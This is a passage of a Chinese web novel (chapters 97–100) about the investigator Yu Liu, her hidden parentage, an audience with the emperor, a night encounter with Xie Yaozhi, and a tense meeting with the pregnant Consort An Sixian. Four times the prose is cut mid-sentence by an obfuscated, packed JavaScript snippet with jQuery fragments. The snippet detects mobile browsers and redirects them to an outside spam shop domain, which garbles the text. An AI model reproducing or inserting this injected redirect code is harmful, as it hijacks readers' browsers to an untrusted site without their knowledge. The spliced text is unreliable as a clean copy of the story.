宋繁声忍住了,将低笑吞进肚子里,圈住玉流的手臂,轻轻拍着,算是安慰,继而朝着不鸣道:“这是真的,师父不会做这样的事。住持您请继续。” 不鸣:“老衲对殿下也有几分浅薄的了解,她不是这样的人。若真想知晓他是谁的孩子,问老衲不如去问其他人。” 玉流:“我能问谁?指不定那孩子自个儿都不清楚亲爹是谁。去问福王爷?那我真的是疯了。” 不鸣:“那就等。两位都等了这么久,已经不差这么几天了。” “等不了。若他是无辜的,那我就得赶紧将他送走。取什么寻白,平添麻烦,”玉流脑子乱乱的,“你说呢,师兄?” “嗯……”宋繁声眉头微皱,心有所觉,谨慎地问不鸣,“您知道她为何后来会如此恨我们的师父吗?” 没等不鸣出声,玉流就已说话,她有些慌得发急:“你这问的是什么,什么叫‘后来会恨’,难道先前就不恨了?” “唉,说到‘情’你就一窍不通了是吧。”宋繁声揉乱她的头发。 老天爷啊,半个月的时间能让玉流通了他一窍,也算是他命好,对得起他的苦心谋划。 “玉大人,恨不会无缘无故地来,同样的,人老了,长久的怨恨里也会生出几分旧情来。”不鸣极为认真地说。 玉流对此的确涉猎不多:“依你们所言,他们之间有过一段情?可师父从未提起,他看起来,也不像是有过旧爱的情痴。” “所以玉大人仍真心觉得那是恨。” “没错,因为不是恨的话那就只能是——”玉流猛然顿住,恍惚出神的瞬间,宋繁声在她头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093355|136175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顶轻声提醒:“师妹,山中岁月常有杏。” 对,杏。 佛寺悄然而生的山风在狭窄的经室里戏弄起呆板的木帘,时不时回荡起脆又轻的声响。 嗒嗒嗒,嗒嗒嗒……这座用着百年前从深山寻出的千年神树搭造的经塔中,斑驳凋敝的木色里还藏有千古的风韵。 在山中,在山中。 那夜她曾在高热中想起的惊梦。 流光飞影从眼前飞速流走,没有师兄,没有小狼,甚至连师父都在淡去,单薄得只剩下熊熊烈火中燃成黑炭的陈年旧信,最后灰飞烟灭,本该就此了结。 偏偏于今日死灰复燃。 渐渐复苏的灰烬中,浮现出李长庚落寞的面容。 因为杏,杏树杏果杏子酒,还有呆呆。 一点愚蠢的变字戏法……玉流睁圆眼睛,抓住了宋繁声的衣袖。 察觉出她的慌乱,宋繁声低头,恰好同玉流扬起的眼眸相逢。 春风不语,我已清明。 玉是真的,寻白承的情意大抵也是真的。 “要命了,”玉流低呼着,无意识收紧力气,手背的青筋暴起,她问宋繁声,“师父做了什么?” 宋繁声张着嘴,字音含在喉口迟迟不愿出来。片刻后,他轻叹着,覆住玉流发颤的手:“或许我们一开始都想错了,不是因为师父做了什么,而是……” 玉流听懂了,随着眼眉的失落,手里的力突然就卸了。 很多事都不能多想的,一多想就会发现处处皆是漏洞。 诸如当年李长庚毫无预兆的退隐,诸如宋繁声常年累月的外出,诸如她在拜入师门时所编造的孤儿过去,又诸如李长庚在再见那盒泛黄的书信时颓丧说起的那匹逃跑马驹。 玉流伸手按住仍在不停敲打窗棂的木帘。 静了。 经室再无惹人烦躁的风声,玉流也没了入寺前的杀伐果断,她沉闷道:“住持好本事,凭一块玉就能猜到这么多。” “非也,老衲只是认出了这块玉的主人,之后的所有都是二位的功劳。” 玉流懒得接这种冠冕堂皇的话:“为什么要帮我们?” 不鸣苍凉道:“老衲还是小和尚的时候只想做个红尘外的看客,可惜身不由己,被人推进棋局中走出了甚为荒唐的一步,如今也未能彻底脱离世俗的困境。既然逃不出,不妨帮帮破局人。” 玉流调慢呼吸:“和尚,你这是在赎罪吗?” “是。玉流姑娘,”不鸣还是第一次这般称呼她,“人的寿命和鸟兽比,太长;和日月比,太短。心智之于体貌,更是缓慢。佛祖都做不到问心无愧,更不用说我这个被困在万丈深渊中的小小无名僧人。” “听住持这意思,除了苟且偷生,你还做了别的不容饶恕的错事?” 不鸣没答,而是低眉朝她躬身,这在玉流眼中就是变相的承认。 ——我未曾去过回天城,未曾见过寒山,也不知那座死寂的山中埋了多少无辜之人,我只是在皇权的授意下,说出了寒山诸魂需血肉祭奠和镇压的谎言。 他说:“老衲这一生对很多人都心有所愧。”其中也包括你的母亲和彼时尚在腹中的你……小时姑娘。 98. 没错过 许是愧意作祟,不鸣难得大方了一次,给了玉流三位师父,顺带着让福王妃见她的时候都多了几分好看的脸色。 虽说这颗甜枣于玉流而言几近于无,但俗话说得好,伸手不打笑脸人。即使这笑中遍地虚情假意。 三位师父被王妃亲自请进了灵堂,玉流则被下人请往了赵颐的院子,摆明了要她赶紧带人离开,还不忘让下人提醒她要从后门出去,不要惊扰到任何人。 玉流依言应了,拐过弯绕的小径,推开没上锁的红木门。 从前人多到披件戏袍就能上台的娇养俏公子全都不在,素来拥挤闹腾的院子此时冷清得很,唯一的声响是那凄凄惨惨戚戚的琴音。 也不知道赵颐把那群人塞到了哪里,不过这不是她该操心的。此刻她最该操心的,是这两个极其能给她惹祸的死孩子。 远远地瞧见她走近,宝儿的眼睛顿时就亮了。才兴奋地从板凳上跳下,就听见玉流不近人情的回绝。 “宝儿妹妹,我这几日心情不好,不想挨训的话就不要急着凑过来。” “唉……哦。”宝儿咧开的嘴角吧嗒就合上了,恹恹地撅着脸又压下了屁股。 玉流没去管她的小脾气:“殿下,你干嘛呢?” “叮——”背身对着她坐在亭中的赵颐翘指弹了一下琴,“怕你有怒,我在抒情。” 问:赵颐能在几个时辰内学会弹琴吗? 答:不能。 玉流认真道:“我非周郎,你弹得是好是坏我都听不出来,但我作为一个外行人还没聋。殿下,你刚才弹出了两个音。” “……”完全不知道食指点在哪一根琴弦上的赵颐怒而摔琴,“不弹了。” 很好,清净了。 玉流转而朝向低头面壁思过的小少年,她也不知他在思哪门子的过:“别委屈得像一条翻肚皮的死鱼,我可是一句责备你的话都还没有说。” 慢悠悠转过身趴上阑干的赵颐举手撇清关系:“我也没有,小弟弟自己折磨自己呢。” 小白不说话,也没有回身,似乎那面灰墙能救他的命。 “闹够了没有,你学谁呢和我玩这一出,”玉流径直走到小白身后,搓高了点声音,让他们二人能够听清,“赵寻白。” 小白终于回了魂,愿意转过身来了。不过脸还是倔强地低着,除了自己脏兮兮的鞋尖,谁也不看。 “我出去拿吃的,不小心走错了路,”他说,“我没撞到那位大人。” 玉流背着手,也不惯着他:“你娘就是这么教你和长辈说话的吗?把头抬起来。” “我说我没——”小白攒了许久的怨和惧莫名就化作了底气,猛然抬头对上玉流的眼,顶嘴顶了一半又熄了火,“我、我没有。” “没有没有没有,我知道没有,可是我知道有用吗?没有,”玉流说了几遍的“没有”,给他说明白了,“别这么拎不清,坐到妹妹那边,我和郡主谈完了就带你们回去。” 听见玉流提起她了,赵颐嗖地站起来,和玉流换过眼神,头歪了歪,脚下如乘风,眨眼就飘进了偏僻的廊外。 不同于王府严苛精巧的陈设,赵颐这院子野得厉害,连在地上攀的绿藤都能爬上雕栏玉砌的廊顶。 正是晌午,狭长的影子被逼得只敢缩在脚底,格子门上落下两面薄瘦的淡影。 玉流闭了会眼睛适应这边扎眼的光,而后问赵颐:“哭过了?” “这是气的,”赵颐拭过微红的眼眶,“越想越气,气得我都能弹琴了!他娘的,不孝女就不孝女,我那时候就该骂回去。” “差不多得了,知道的说你由着你的小公子瞎胡闹,不知道的还以为你疯了。再说了,王妃字字句句都是朝我来,你当作听不懂不就好了,何必想不开非要给自己讨苦酒喝,”玉流敷衍地说着,算作安慰过了,“你爹怎么样了?” “还能怎么样,要真出事了你那个死脑筋的小弟弟就该死了。放心,老头子好得很,人中一掐就缓回来了,然后又像从前一样装作什么都没有发生过。” 赵颐怏怏不乐,靠上格子门,盖住被烈阳照得发烫的眼:“我真是服了他,前半辈子到底做了多少亏心事,随便见个不认识的都能联想起过去的死人来,问了也死活不说,算了,皇叔等会儿就到了,还有其他人要来,我也懒得管了,到时候一起跪着呗。” “还有谁要来,”玉流抓紧问,“安思贤?” 赵颐摇头:“是安思贤的乳母。你去敬国寺后不久,胡平就派了个小太监来递话,说是贵妃念着昔日的情谊,让她的乳母为安家来送赵廉最后一程。‘为安家’,呵,说得挺好听的,你猜是为安家的谁,安德明还是安思贤?你我都清楚,我哥和安德明算得上一丘之貉,和安思贤……半个青梅竹马。” “人都死了就别猜了,”玉流拍着赵颐不安分的脸,接下来的话她要让赵颐记好,“听我说,不为你哥,就当是为了你自己这几日能过得舒坦些,别再折腾了,记住了没?记住了我就带这俩孩子回去了。” “记住了,你最近话也多了诶。啊,真走啊,你不和我去见皇叔?” “不了,我还是之后和囚哥诸哥一起挨骂比较好,一个人,还是太惨了些。就当作错过,你也别顺嘴提起我了。”玉流暂且还不想孤身一人在赵徥面前不怕死地打转。 “行,走吧走吧,”赵颐烦闷地挥手,“一个个都走,赶紧走……等等。” 赵颐偶尔莫名冒出来的直觉准得要死:“玉流,你是不是有什么事情瞒着我?” 玉流脚下微停,回眸轻瞥:“没有。” 玉流一手牵一个,规矩地从后门走出福王府,跨出门槛的一刹,隐约间听见了缥缈的经文声。 这就开始了?挺快。 玉流举起右手:“小白弟弟,你能不能把步子迈大一点,然后走路的时候能不能别总是回头看。” “不、不是,我……”他白着的脸因为急着说话而沾染了点红,没有被牵住的手慌张地攥衣衫,“我、我好像有东西落在里面了。” 逃窜的眼神,亟欲躲闪的身形,任谁见了都能看出他在撒谎。 撒谎得如此刻意,玉流不该答应的。 下一刻,玉流忽而一笑:“那去吧,原路返回去你能走的吧。” “能,嗯,什么?”小白愣了,她就这么同意了吗?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128445|136175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他被她盯得浑身发麻,不敢问,不敢动,脚底下感觉到阵阵的咕噜声才咬紧牙关道:“那、那我去去就回。” 应该是很重要的东西,小白很急,一眨眼就没影了。 “姐姐,为什么你要——”玉流揉着宝儿的双髻,拦下了她后续的话。 她问:“里面有点动静了,应该是有客人来了,想去看看吗?” 玉流温柔得不像话,宝儿被惑出了心神,呆呆地点头,跟着她亦步亦趋地走到了长街上。 长街那头有株千年的榕树,树下停着两辆简朴的马车。离福王府不算太近,像是途经暂时停下歇息。 人到了啊。 赵徥一身便服,由胡平小心地护送下轿。 另一辆马车上,灵巧的小太监掀开车帘,下来一位步履蹒跚的老妇,灰白发松垮面,粗粗一看,便知她就是安思贤的那位乳母。 长街长长,古榕千秋,婆娑树影和风声之外,慢了赵徥一步的胡平转头抬袖,同脚下迟缓的老妇低声说着什么。 玉流如久立的鬼魂,终于惹得对岸的活人们抬首相顾。 人老了,松软的皮面摇摇欲坠,眼神却静清得像风像水。 分明他们都看见了,却皆装作无。 无鬼无人无相识。 不该不该,有什么一定是她听过的。 忽然间,一闪而逝的灵光似虫爬上耳尖,层层叠叠密密麻麻的酸痒于一息之间化作刀光剑影。 玉流空手接下白刃,劈开眼前雪雾笼罩的迷障。 许久,玉流撑着砖墙,找回了自己半途而止的思绪:“原来是你啊,我这耳朵居然没能听出来。” “姐姐?”宝儿有点担心玉流,伸手扶她。 “没事,我们回去吧,被发现了就不好了,小白应该也快要出来了。” 磕磕绊绊,仓惶一面。 一如当年的位置,又不如当年,赵徸拘谨地跪在地上,连带着他的夫人和女儿。 院中树下,稀疏的景色外,没有人再从围墙跳下,只有一只皮毛湿滑的老鼠狼狈地从他眼底跑过。 赵徥驻足,抿起薄唇:“胡平,刚才有谁走过去了。” 胡平些许茫然,还在想着,沉默的间隙里,驼背的老妇欠身,提起微哑的嗓子:“陛下,草民方才在王府外见到一位俊俏的女公子走过。” 胡平这才一拍脑门:“陛下,是玉大人。刚才在府外见着了,奴还以为玉大人只是恰巧经过来着。” 赵徥眯起狭长的凤眼,陡然明锐的棱角于一息间消失,他没有说是不是。跨进王府之前,他确实在长街的尽头看见了一道模糊的人影。 “玉流……” 一墙之隔,似有若火的双眸对峙,影影绰绰的风姿几乎要烧过头顶那轮明晃晃的火日。 赵徥疼得闭上眼。久远的风拂过,搅乱一池蓄满孑孓的死水。 肮脏腥臭的池水之上聚蚊成雷,不知吵醒了谁的疑虑。 胡平慢着气小心琢磨赵徥的神色:“陛下,可要奴去叫玉大人回来?” “不必了。等晚些的时候叫章囚把她和诸几都带进宫来。” “是。” 99. 不眠夜 玉流记不清她在内殿中跪了多久。 金窗外红绒似的远日渐渐凝成烛台之上的一点赤红鸽子眼,妖艳得灼眼。 冰冷的方砖硌着膝盖,盛着破碎的白瓷和一地的茶渍,如水蛇破笼,蜿蜒匍匐而过,冷麻了肌骨。 地狱有这么冷吗,不知道。 天子盛怒时装鹌鹑就好了,反正她前面还有两个人顶着。 “……诸几啊诸几,朕是让你去把人带回来,不是让你把自己送进去,还要别人来救你,像话吗,闭嘴,朕暂时不想听见你说话。” “章囚,年初朝廷内外就不算安稳,邳州是大城,不能出大乱子,周清文的事得尽快平息,你知道该怎么做……” 章囚应声之后,千尺万丈深潭般常静深远的眸子终于落至她的身上:“玉流。” 玉流收紧心神,慢慢压下腰背,滚着喉,喑哑道:“臣在。” 可到此就止住了。 座上之人的眉拧成“川”,沾着朱墨的指尖有一下没一下地敲着桌案,内殿仅存的声响皆来自于此,锤击着几颗有异的心。 那种沉默如深渊的凝视让章囚不由得提起了心,眼尾狭长的余光中玉流伏着腰没有抬头。 她在想什么? 如若不去看天上的黑渊,她又在注视着地下的什么? 这一夜注定不太平。 从皇宫走出时夜已过半,皇城围墙外的风拍上脸,在殿内跪得晕乎的诸几恢复到了入宫前野牛一般的状态,长舒气后搭上章囚的肩膀:“阿囚,去吃酒吗?” 章囚承认这是他的错,喂的汤药太补了,脑子都快补过头了,过犹不及,过犹不及。 “别发疯了,回去歇着吧,天亮了我还有的忙。”章囚道。 诸几搡着章囚:“忙?啊对,你忙……唉,不是,我就失踪了这么几天,邳州怎么就闹成那样了?” 自他睡饱醒来,章囚的话就同他被灌进的药汤一样,完全没明白是为什么:“玉流,回来的路上你怎么都没和我说起过?” “赶路,忘了。”玉流言简意赅。 她时机算得准,宣旨的小太监刚从前门走出去,邳州的外侯官就从后门把卷宗送到了。他们跪在殿中的前一半时间里,赵徥都在看那卷密密麻麻又算不上什么丧命之错的认罪书。 “……还有,外人在,不方便。”玉流想了想,补了这么一句。 “你也知道有外人在啊,”她不说还好,一说连向来纵容她的诸几都黑了几分脸色,他松开章囚,朝玉流道,“那你还这么随随便便地把谢公子塞到我那儿?” 玉流没有丝毫先斩后奏的愧疚心:“你自己也说了,他是你的救命恩人,你不想欠他人情。” “理是这个理,可你不知道,那位谢公子!咳,”诸几不稳重地跳过来,一大把年纪了还学小姑娘磨着牙别别扭扭地告状,“那位谢公子对我别有用心!” 章囚无语凝噎,摇着头望向愁云惨雾的天。 玉流默了默,拍拍诸几的臂:“诸哥,回去睡吧,睡醒了脑子就好用了。” “好什么好,他在我家我怎么睡得安稳。和我说实话,你确定谢公子对我——”诸几还没嘀咕完对自己的担忧,章囚插话进来:“行了,都回去歇着吧,有什么事儿都再说,她明日还要入宫觐见贵妃。” 对,差点连玉流自己都忘了,赵徥在那段不输折磨的沉默后,少见慈悲地告诉她安思贤近来心绪不宁,总是想起往昔,更想见见她。 姑且当作是真的吧。 身后就是宫墙,高高长长的影子是尾随的恶鬼,密得让人喘不过气。 头顶的滚滚黑云如长裘重氅加身,雷霆似千军万马奔腾,银刃划破黑夜,裂缝后淬光的眼眸映亮青山之峰。 闷又紧。 诸几的头又疼了:“打雷了,看这天今夜是要有暴雨喽,走吧走吧,我也早点回去睡。” 章囚停下等着:“阿玉?” “来了。”玉流点着头,迈出步子前再回头长望了一眼遥远的青山。 诸几说得不对,暴雨没落,空留风雷。 远远的,那座小宅子几乎漆黑一片,宝儿和小白的屋子早就黑了。玉流停在门前,拽下细竹拿下悬于枝头的六面玲珑缠金灯笼。 不是先前的那盏,唯一相似的,是同样的小巧。 黑夜多风,灯笼中的微焰晃晃,拂起的长发飘摇,在宫中被阴风吹得发沉的脸被快熄的灯火照暖。 她并不期待这盏灯,她期待点灯的那个人,可是他今夜不会来,此后的夜也不会来。 “如果你有什么话要说,那就在我进门前说出来。” 玉流在心里数到三,清隽的人影从附近的空巷中走出来。她点着鞋跟转过身,罩着细瘦火苗的灯笼勉强亮出昏沉的暗光。 “什么时候跟上我的?”她问。 他答:“皇宫之外的第一个路口。” 玉流笑了,眉宇舒展一束的月白:“挺厉害的谢遥知,不仅我没发现你,章囚也没有发现你。为什么跟着我?” 谢遥知离她不算太近。由那盏小灯的光划开的地界似裂谷,他落在更暗的那侧。 只差一步,就差一步,谢遥知像着了魔,一眼未眨地盯着那道细细的亮线。 “担心你一个人。你住的地方偏僻,走夜路不安全。”他道。 “那你就该大大方方地在宫墙外等我,而不是默不作声地跟着。” “没和你说一声就出现,怕你生气,而且,”谢遥知自己说出来都觉得有些可笑,“诸大人似乎对我退避三舍。午后在府中见到我,不仅脸闷红了一圈,话也说不利索了。我怕他多想。” “哈,怪我,是我忘和他说。今夜就不会了,你不要到处乱走就行,尤其别在诸哥房门前瞎晃,”灯中的烛快熄了,玉流和他说,“我已经不生气了,那件事说到底不是你之过。还有其他事吗,没有的话你可以走了,我明日还有要事入宫。” 随同她的话音,那道亮线向她那侧蜷缩。谢遥知没走,反而朝她迈出几步,跟着弱光而停,眉心半皱,他忽道:“玉流,你会一辈子都留在朝中吗?” 玉流一时半会儿没能接上他急转偏离的思绪:“什么?” 谢遥知抬起脸,素来半邪的脸上露出鲜有的认真:“玉流,你会一直都当外侯官吗?” 这不是她预想中谢遥知的追问,她被打个措手不及。玉流迟疑了会儿,才道:“那我该做什么?找个夫君结桩婚事然后为他生儿育女?” “不,我的意思是,我们,啊,我是说,”谢遥知有些急,急到差点口不择言,“或许你可以离开这儿,也不一定要回崇州,可以去外面看看,塞北,江南,或是离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14151828|136175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开大殷。我听说毗邻的大魏也别有一番风光。” 恳切到近乎哀求的言辞让玉流蹙起了眉心,月下泛着冷光的素净手指点了点竹杆。下一瞬,灯笼被她随手推至房檐瓦上。 微弱的光自头顶斜斜落下,隔出鹅绒的光晕。 玉流走来,将人抵在墙前,揪住他的领子,两人几乎贴面对视:“你在说什——” 这双眼睛从前不是这样的,玉流想着,不该是这样含着伤,从前潇洒惬意时不时犯贱找点存在感的玉公子到哪里去了? 玉流略带凉意的手骨贴上他的脸庞,他们都不太能习惯这样亲近的触碰。玉流悻然移开手,眉眼着冷:“你是在教我怎么选自己的路吗?” 寂静的深巷,消融于风中的微末酒香窜入鼻息,玉流的眉梁蹙得愈发紧了:“你喝酒了?醉了?谢遥知,你知不知道你现在很怪?” “没喝多少,没醉,我也觉得没什么奇怪的。因为我早就和你挑明了心意,我偶尔也会想问问你,”他按住玉流的双肩,迫使她仰面同他相看,“玉流,你觉得这世上会有人一直留在原地吗?” 他近乎发抖地锢着她的肩,玉流没有强行挣脱,他怪得有点不像他了:“我没有逼你等我。” 他不要这个答案,固执地自说自话:“我也承认,我是个小人。你知我可以骗你,我不想。” 世间太多的人都毁于甘心和舍得,只是再多的甘心和舍得,都得添个“不”,末了再多份不愿意。 他不甘心就这样放手,也会恨她的偏心和无情,可让她吃苦他也不愿意。 玉流抬手握住他的手腕,轻声问:“你想骗我什么,又想怎么骗我?” “我……” 才出声,雷声就轰然砸下,接踵而至的是劈开黑夜的银链,从她怀疑的眼,到他慌神的眼,一击中魂。 咽喉仿佛被人掐住,他醒了,醒得不能再醒了。意识到自己做了什么,几近功亏一篑的恐让他胃中一阵翻涌。 “咳,咳咳——”谢遥知猛地放开她,扶着墙呕着。 玉流静了片刻,从怀中摸出块帕子,递给他:“擦擦。” “谢、谢了,”谢遥知呕干净了,接过帕子擦去嘴角的水渍,“抱歉,我喝多了没发酒疯,尽说醉话去了。” 玉流咬住下唇看着他,苍白的脸上虚汗从眼角滑落,像一滴心碎的泪。 她道:“既然不舒服就该早点说,要是吹夜风吹出病来我也会过意不去的。还能走吗,要不要我送你回去?” “不用了,我已经好多了,”谢遥知缓过神来,为方才那些胡话找到了理由,“今夜的事你不要多想,我只是,只是……鬼迷心窍了。” 玉流:“像以往一样?” 谢遥知:“像以往一样。” 玉流在心中嘲弄地笑了笑。也不知因为什么,失落失望?还是早知如此?分不清。 目送谢遥知离开后,玉流推开小门,提着灯笼走进房中。 无用的雷响了太久,响到黑云离散,皎月浮现。然万马奔腾,雷霆破军之势不止,玲珑灯火悄然燃尽。 玉流续上了蜡烛。 看似无人来过,只有她清楚多了什么。她在枕下找到一小卷字条,阅完即焚。 她在窗前坐到旭日时分。 千里万里月明,不眠之人,此夜狂奔。 100. 落于地 “玉大人夜里没睡好吗?”胡平垂首领路,还不忘关心关心她。 玉流冷如死人的脸和平时看来一般无二,唯有眼下的青黑惹眼了些,她含糊开口:“嗯,做了个噩梦。今日怎么是您来,是宫里没闲人了,还是……您也想见见我?” “玉大人又在说笑了,不过几桩顺嘴的小事,奴才们都想安稳度日的,大人无需介怀,”胡平说得滴水不漏,嗓子拐过个调子,跟在她耳边念叨似的,“再说了,毕竟是陛下珍重的贵妃娘娘,您也是陛下看重的侯官大人。” 几个重音加上,玉流不免多看了胡平几眼,片刻后,她道:“那就有劳公公了。” 或许只有玉流没有想过她和安思贤再见时会是这样的光景。空阔的寝殿前,晴好的日色下,安思贤躺在软榻上。孕中少动多食,她长了几两白肉,柔和的光影迷离了双眼,玉流恍惚间似乎回到了她们初遇的那日。 另一只圆润的小白兔懒洋洋地斜坐起来,从架台上拿起上供的青提,咬了一颗,咀嚼了好几下,那种刻意的缓慢。 细嚼慢咽吞下之后,贵妃伸手由着旁边伺候的侍女擦去指尖的汁液,才拿正眼瞧她:“玉大人啊,好久不见了,离本宫上次见你,过了多久了?” 玉流一夜没阖眼,没什么精气神,跪了一小会儿就有些头昏眼花:“娘娘千秋。不知娘娘说的上次,是指哪一次?” 安思贤嘴角的笑僵了一瞬,而后随意摆手:“除春茵外,所有人都下去,本宫要和玉大人好好聊聊,玉大人也不必跪着了,旁边有座,坐着吧。” 春茵,安思贤从国公府带来的婢女,乖巧地站在一旁,像一个提线木偶。紧接着,其余的一干人等鱼贯而出,这座华贵的宫殿中,只余下她们三人。至少玉流匆匆一瞥,看见的是这样。 “你在看什么,”安思贤从榻上下来,走到玉流跟前,下意识想要蹲下,却半途而止,她不太高兴地抬了抬小腿,急躁道,“玉大人,本宫说了,你可以坐着。” 玉流听出她的不耐,缓缓起身同她对视:“你的乳母呢?” 安思贤更不满了:“我的乳母?玉流,这就是你在没有外人时对我说的第一句话吗?那我对你可真是失望透顶。” “娘娘在发脾气吗?”玉流的眼半垂,从她不施粉黛的秀脸落至衣裙包裹的小腹。 已至初夏,繁琐厚重的宫装少了好几层。即使望眼欲穿,玉流也没能看出有什么不同。 也是,她又不是郎中,不对,就算郎中也不能仅凭“看”就知晓她怀了孩子。 “娘娘不该发脾气,对这儿,”玉流指着她的肚子,“不好。” 安思贤勾起唇,眼中划过一丝厌恶,转瞬即逝:“呵,不亏是好姐妹,赵颐还真是什么都会告诉你。怎么,你现在更喜欢她了,是吗?” 怀孕的人都这般喜怒无常吗?玉流顿了顿,问:“娘娘想见我,就是为了说这种小事?” “哈,你说这是小事,”安思贤像是听见了什么天大的笑话,眉峰高耸,福润的脸都狞起,仰头直视这张让她又爱又恨的面容,“玉流,你可真会伤我的心。” 安思贤一掌推开她,提着裙摆坐到原本她想让玉流坐的地方,她料定玉流不敢坐其他地方,这下子,玉流只能站着了。 玉流提醒她:“木椅子太硬了坐着不舒服,你该回到软榻上躺着。要我扶你吗?” 安思贤冷笑:“你在说什么呢,我连显怀都没有,谈什么舒服不舒服。我想坐哪儿,就坐哪儿。” 椅子腿儿划拉过地面,刺耳的噪声穿过殿墙,送回冰冷的回音。 安思贤托着下巴瞅她:“你一定很好奇我为什么想见你吧。因为他知道我没什么朋友,我和赵颐之间已经没有过去那么要好了,没什么情,说不上几句话,你不一样。而且你在的时候,他们会退下,我的眼前也能清净些。毕竟,大殷没有谁比侯官更能让陛下安心了,不是吗?” “是吗,那娘娘您能安心吗?”玉流谨慎地往后退了半步。 未眠的这一夜,她想了许多。安思贤想见她无可厚非,但搭在她怀孕的消息后就值得深思了。 赵徥不比先帝,自他登基以来就从未用过后宫牵制前朝的手段,而是将行走于幕后和边缘的侯官领到了人前。 养一群争风吃醋的女子,不如养一群忠心耿耿的走狗。 民间也曾有过流言,难得定论。在章囚和赵颐接连解惑之后,玉流仍很难言明这位陛下究竟是少情还是重情,唯一不能否认的是,安思贤的贵妃当得顺风顺水,从没经历过什么妃嫔间争宠的勾心斗角和腌臜毒计。 但这不代表她没有。 尤其是昨夜赵徥看她的那一眼,她虽未接,但那长久的无声已经告诉了她许多。 安思贤何其敏锐:“玉流,你是在怕我吗?” 玉流淡声道:“娘娘您说呢?” “哦,你觉得我会恨你,因为你不仅没有做到我当初求你的事情,我爹更是在见过你之后选择自缢而亡,”安思贤闭目,自言自语,“那你的确该怕我的,因为我的确在恨你。” 恨她的到来,恨她的停留,恨她的拒绝。恨她和赵颐能拥有宫墙外的自由,恨她从不会主动来后宫见她。 恨她带不回她那愚蠢的弟弟,更恨她救不下她那自以为是的父亲! 安思贤睁眼,怨恨化作双刃的利剑划破她的身心,一面滴着她的鲜血,刺向玉流:“你怎么还有脸皮来见我?你要是还有点良心,就该称病推拒,而不是入宫来恶心我!” 相比安思贤的气急败坏,玉流平静得不能再平静了:“陛下说娘娘想见我。”所以我奉命入宫,顺便来看看你们会对我做什么。 “他说我想见你你就来了?那我还想你去死呢你会去死吗?”安思贤气不过,重重地拍在扶手上,疼痛沿着通红的手掌爬上了肩背,她嘶了一口气,护住了心口。 你真的不该来的。 既然你来了,就不可能这么轻易地走了。 春茵依旧低着头,玉流瞥了一眼,转身欲走:“我去叫御医。” “站住,”安思贤不容置喙地要她停下,“不需要,宫门走出去不远就有一排的人等着。怎么,你不会真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14173870|136175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的天真到认为我这地方没人了吧。” 安思贤摇摇晃晃地站起来,拔下发髻上的凤头簪,走到她身前,声低眼傲:“玉流,你那么聪明,仔细想想,想想……” 锋利的簪尖抵上小腹。 玉流垂眼,她可太熟悉这样的姿势了。 矮她一头的安思贤笑得雍容又放肆,不慌不乱地看着玉流按住她的手,拦下了快刺破她那身锦衣的尖头。 凤头簪的金羽扎破了玉流的手掌,殷红蔓延,血腥扑面。她吃了安思贤的威胁:“你不想当母亲?” 安思贤反问:“你觉得我能生下他吗?” “能?”玉流挑到了不太和谐的字眼。 “那不然呢,玉流,我本就没有这个打算。” 玉流蹙起眉头,抿唇不再言语。 安思贤最恨她这样的冷眼旁观,当初她不顾身份逃出国公府去求她搭救时,她也是这样的神情,好像在说:安思贤,你在做什么蠢事说什么蠢话。 安思贤愤然拽过凤头簪:“玉流,你和我爹一样,你们都不懂我!” 玉流没有松手,金羽划开掌心,她挑起眼皮:“若我能懂呢?” “你一个孤儿,无父无母,你能懂什么?玉流,居安思危,我从不是任人宰割的羊羔,更何况枕边人最不缺揣摩人心的手腕,一点风吹草动就能嗅到将至的铁骑沙暴。” “你觉得他简单吗?他能走到今天怎么可能简单,玉流,你太小看他了,他什么都知道的,他只是睁一只眼闭一只眼,因为你对他没有威胁,但你若冒头了,该死的时候一定要死,你明白吗?” 安思贤抽回了金簪,玉流没有再拦,几痕血如泪泣,妖冶的凤头簪被稳稳地插回发髻中,似乎刚才的举动只是为了让玉流听她说完这些话。 